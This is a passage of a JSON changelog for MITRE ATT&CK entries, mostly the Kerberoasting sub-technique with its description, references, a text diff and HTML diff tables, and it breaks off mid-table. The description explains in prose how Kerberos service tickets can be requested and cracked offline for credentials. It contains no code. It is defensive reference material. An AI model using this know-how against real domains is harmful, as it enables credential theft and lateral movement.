class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">data.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Harmj0y&nbsp;Roasting&nbsp;AS-REPs&nbsp;Jan&nbsp;2017)(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ata.(Citation:&nbsp;Harmj0y&nbsp;Roasting&nbsp;AS-REPs&nbsp;Jan&nbsp;2017)(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;Stealthbits&nbsp;Cracking&nbsp;AS-REP&nbsp;Roasting&nbsp;Jun&nbsp;2019)&nbsp;&nbsp;Cracked&nbsp;ha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Stealthbits&nbsp;Cracking&nbsp;AS-REP&nbsp;Roasting&nbsp;Jun&nbsp;2019)&nbsp;&nbsp;Cracked&nbsp;hash</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shes&nbsp;may&nbsp;enable&nbsp;[Persistence](https://attack.mitre.org/tacti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;may&nbsp;enable&nbsp;[Persistence](https://attack.mitre.org/tactics</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cs/TA0003),&nbsp;[Privilege&nbsp;Escalation](https://attack.mitre.org/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/TA0003),&nbsp;[Privilege&nbsp;Escalation](https://attack.mitre.org/ta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tactics/TA0004),&nbsp;and&nbsp;[Lateral&nbsp;Movement](https://attack.mitre</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctics/TA0004),&nbsp;and&nbsp;[Lateral&nbsp;Movement](https://attack.mitre.o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.org/tactics/TA0008)&nbsp;via&nbsp;access&nbsp;to&nbsp;[Valid&nbsp;Accounts](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rg/tactics/TA0008)&nbsp;via&nbsp;access&nbsp;to&nbsp;[Valid&nbsp;Accounts](https://at</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1078).(Citation:&nbsp;SANS&nbsp;Attacking</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1078).(Citation:&nbsp;SANS&nbsp;Attacking&nbsp;K</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Kerberos&nbsp;Nov&nbsp;2014)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erberos&nbsp;Nov&nbsp;2014)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1027: Password Policies",
                            "M1041: Encrypt Sensitive Information",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0113: Detect AS-REP Roasting Attempts (T1558.004)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-11 18:43:38.588000+00:00",
                    "modified": "2026-11-04 00:58:53.290000+00:00",
                    "name": "Kerberoasting",
                    "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016)(Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1558/003",
                            "external_id": "T1558.003"
                        },
                        {
                            "source_name": "Microsoft Detecting Kerberoasting Feb 2018",
                            "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                            "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
                        },
                        {
                            "source_name": "Empire InvokeKerberoast Oct 2016",
                            "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.",
                            "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1"
                        },
                        {
                            "source_name": "SANS Attacking Kerberos Nov 2014",
                            "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
                            "url": "https://redsiege.com/kerberoast-slides"
                        },
                        {
                            "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                            "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                            "url": "https://adsecurity.org/?p=2293"
                        },
                        {
                            "source_name": "Microsoft SetSPN",
                            "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.",
                            "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx"
                        },
                        {
                            "source_name": "Microsoft SPN",
                            "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.",
                            "url": "https://msdn.microsoft.com/library/ms677949.aspx"
                        },
                        {
                            "source_name": "Harmj0y Kerberoast Nov 2016",
                            "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved September 23, 2024.",
                            "url": "https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Praetorian"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.3",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:58:53.290000+00:00\", \"old_value\": \"2025-10-24 17:49:36.038000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \\n\\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\\n\\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016)(Citation: Harmj0y Kerberoast Nov 2016)\\n\\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\\n\\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)\", \"old_value\": \"Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \\n\\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\\n\\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\\n\\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\\n\\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +1,8 @@\\n Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \\n \\n-Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\\n+Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\\n \\n-Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\\n+Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016)(Citation: Harmj0y Kerberoast Nov 2016)\\n \\n This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.3",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to152__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to152__0\"><a href=\"#difflib_chg_to152__top\">t</a></td><td class=\"diff_header\" id=\"from152_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;a&nbsp;valid&nbsp;Kerberos&nbsp;ticket-granting&nbsp;ticke</td><td class=\"diff_next\"><a href=\"#difflib_chg_to152__top\">t</a></td><td class=\"diff_header\" id=\"to152_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;a&nbsp;valid&nbsp;Kerberos&nbsp;ticket-granting&nbsp;ticke</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;(TGT)&nbsp;or&nbsp;sniff&nbsp;network&nbsp;traffic&nbsp;to&nbsp;obtain&nbsp;a&nbsp;ticket-granting</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;(TGT)&nbsp;or&nbsp;sniff&nbsp;network&nbsp;traffic&nbsp;to&nbsp;obtain&nbsp;a&nbsp;ticket-granting</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;service&nbsp;(TGS)&nbsp;ticket&nbsp;that&nbsp;may&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;[Brute&nbsp;Force</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;service&nbsp;(TGS)&nbsp;ticket&nbsp;that&nbsp;may&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;[Brute&nbsp;Force</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1110).(Citation:&nbsp;Empi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1110).(Citation:&nbsp;Empi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;InvokeKerberoast&nbsp;Oct&nbsp;2016)(Citation:&nbsp;AdSecurity&nbsp;Cracking&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;InvokeKerberoast&nbsp;Oct&nbsp;2016)(Citation:&nbsp;AdSecurity&nbsp;Cracking&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Kerberos&nbsp;Dec&nbsp;2015)&nbsp;&nbsp;&nbsp;Service&nbsp;principal&nbsp;names&nbsp;(SPNs)&nbsp;are&nbsp;used</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Kerberos&nbsp;Dec&nbsp;2015)&nbsp;&nbsp;&nbsp;Service&nbsp;principal&nbsp;names&nbsp;(SPNs)&nbsp;are&nbsp;used</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;uniquely&nbsp;identify&nbsp;each&nbsp;instance&nbsp;of&nbsp;a&nbsp;Windows&nbsp;service.&nbsp;To</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;uniquely&nbsp;identify&nbsp;each&nbsp;instance&nbsp;of&nbsp;a&nbsp;Windows&nbsp;service.&nbsp;To</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;enable&nbsp;authentication,&nbsp;Kerberos&nbsp;requires&nbsp;that&nbsp;SPNs&nbsp;be&nbsp;assoc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;enable&nbsp;authentication,&nbsp;Kerberos&nbsp;requires&nbsp;that&nbsp;SPNs&nbsp;be&nbsp;assoc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iated&nbsp;with&nbsp;at&nbsp;least&nbsp;one&nbsp;service&nbsp;logon&nbsp;account&nbsp;(an&nbsp;account&nbsp;sp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iated&nbsp;with&nbsp;at&nbsp;least&nbsp;one&nbsp;service&nbsp;logon&nbsp;account&nbsp;(an&nbsp;account&nbsp;sp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecifically&nbsp;tasked&nbsp;with&nbsp;running&nbsp;a&nbsp;service(Citation:&nbsp;Microsoft</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecifically&nbsp;tasked&nbsp;with&nbsp;running&nbsp;a&nbsp;service<span class=\"diff_add\">).</span>(Citation:&nbsp;Microso</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Detecting&nbsp;Kerberoasting&nbsp;Feb&nbsp;2018)<span class=\"diff_sub\">).</span>(Citation:&nbsp;Microsoft&nbsp;SPN</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ft&nbsp;Detecting&nbsp;Kerberoasting&nbsp;Feb&nbsp;2018)(Citation:&nbsp;Microsoft&nbsp;SPN</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)(Citation:&nbsp;Microsoft&nbsp;SetSPN)(Citation:&nbsp;SANS&nbsp;Attacking&nbsp;Kerbe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)(Citation:&nbsp;Microsoft&nbsp;SetSPN)(Citation:&nbsp;SANS&nbsp;Attacking&nbsp;Kerbe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ros&nbsp;Nov&nbsp;2014)(Citation:&nbsp;Harmj0y&nbsp;Kerberoast&nbsp;Nov&nbsp;2016)&nbsp;&nbsp;Advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ros&nbsp;Nov&nbsp;2014)(Citation:&nbsp;Harmj0y&nbsp;Kerberoast&nbsp;Nov&nbsp;2016)&nbsp;&nbsp;Advers</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;possessing&nbsp;a&nbsp;valid&nbsp;Kerberos&nbsp;ticket-granting&nbsp;ticket&nbsp;(TG</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;possessing&nbsp;a&nbsp;valid&nbsp;Kerberos&nbsp;ticket-granting&nbsp;ticket&nbsp;(TG</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">T)&nbsp;may&nbsp;request&nbsp;one&nbsp;or&nbsp;more&nbsp;Kerberos&nbsp;ticket-granting&nbsp;service&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">T)&nbsp;may&nbsp;request&nbsp;one&nbsp;or&nbsp;more&nbsp;Kerberos&nbsp;ticket-granting&nbsp;service&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(TGS)&nbsp;service&nbsp;tickets&nbsp;for&nbsp;any&nbsp;SPN&nbsp;from&nbsp;a&nbsp;domain&nbsp;controller&nbsp;(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(TGS)&nbsp;service&nbsp;tickets&nbsp;for&nbsp;any&nbsp;SPN&nbsp;from&nbsp;a&nbsp;domain&nbsp;controller&nbsp;(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DC).(Citation:&nbsp;Empire&nbsp;InvokeKerberoast&nbsp;Oct&nbsp;2016)(Citation:&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DC).(Citation:&nbsp;Empire&nbsp;InvokeKerberoast&nbsp;Oct&nbsp;2016)(Citation:&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dSecurity&nbsp;Cracking&nbsp;Kerberos&nbsp;Dec&nbsp;2015)&nbsp;Portions&nbsp;of&nbsp;these&nbsp;tick</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dSecurity&nbsp;Cracking&nbsp;Kerberos&nbsp;Dec&nbsp;2015)&nbsp;Portions&nbsp;of&nbsp;these&nbsp;tick</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ets&nbsp;may&nbsp;be&nbsp;encrypted&nbsp;with&nbsp;the&nbsp;RC4&nbsp;algorithm,&nbsp;meaning&nbsp;the&nbsp;Ker</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ets&nbsp;may&nbsp;be&nbsp;encrypted&nbsp;with&nbsp;the&nbsp;RC4&nbsp;algorithm,&nbsp;meaning&nbsp;the&nbsp;Ker</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">beros&nbsp;5&nbsp;TGS-REP&nbsp;etype&nbsp;23&nbsp;hash&nbsp;of&nbsp;the&nbsp;service&nbsp;account&nbsp;associa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">beros&nbsp;5&nbsp;TGS-REP&nbsp;etype&nbsp;23&nbsp;hash&nbsp;of&nbsp;the&nbsp;service&nbsp;account&nbsp;associa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;with&nbsp;the&nbsp;SPN&nbsp;is&nbsp;used&nbsp;as&nbsp;the&nbsp;private&nbsp;key&nbsp;and&nbsp;is&nbsp;thus&nbsp;vuln</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;with&nbsp;the&nbsp;SPN&nbsp;is&nbsp;used&nbsp;as&nbsp;the&nbsp;private&nbsp;key&nbsp;and&nbsp;is&nbsp;thus&nbsp;vuln</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erable&nbsp;to&nbsp;offline&nbsp;[Brute&nbsp;Force](https://attack.mitre.org/tec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erable&nbsp;to&nbsp;offline&nbsp;[Brute&nbsp;Force](https://attack.mitre.org/tec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hniques/T1110)&nbsp;attacks&nbsp;that&nbsp;may&nbsp;expose&nbsp;plaintext&nbsp;credentials</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hniques/T1110)&nbsp;attacks&nbsp;that&nbsp;may&nbsp;expose&nbsp;plaintext&nbsp;credentials</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;AdSecurity&nbsp;Cracking&nbsp;Kerberos&nbsp;Dec&nbsp;2015)(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;AdSecurity&nbsp;Cracking&nbsp;Kerberos&nbsp;Dec&nbsp;2015)(Citation:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Empire&nbsp;InvokeKerberoast&nbsp;Oct&nbsp;2016)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Harmj0y&nbsp;Kerber</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Empire&nbsp;InvokeKerberoast&nbsp;Oct&nbsp;2016)(Citation:&nbsp;Harmj0y&nbsp;Kerbero</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oast&nbsp;Nov&nbsp;2016)&nbsp;&nbsp;This&nbsp;same&nbsp;behavior&nbsp;could&nbsp;be&nbsp;executed&nbsp;using&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ast&nbsp;Nov&nbsp;2016)&nbsp;&nbsp;This&nbsp;same&nbsp;behavior&nbsp;could&nbsp;be&nbsp;executed&nbsp;using&nbsp;se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ervice&nbsp;tickets&nbsp;captured&nbsp;from&nbsp;network&nbsp;traffic.(Citation:&nbsp;AdSe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rvice&nbsp;tickets&nbsp;captured&nbsp;from&nbsp;network&nbsp;traffic.(Citation:&nbsp;AdSec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">curity&nbsp;Cracking&nbsp;Kerberos&nbsp;Dec&nbsp;2015)&nbsp;&nbsp;Cracked&nbsp;hashes&nbsp;may&nbsp;enabl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urity&nbsp;Cracking&nbsp;Kerberos&nbsp;Dec&nbsp;2015)&nbsp;&nbsp;Cracked&nbsp;hashes&nbsp;may&nbsp;enable</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;[Persistence](https://attack.mitre.org/tactics/TA0003),&nbsp;[P</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;[Persistence](https://attack.mitre.org/tactics/TA0003),&nbsp;[Pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rivilege&nbsp;Escalation](https://attack.mitre.org/tactics/TA0004</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 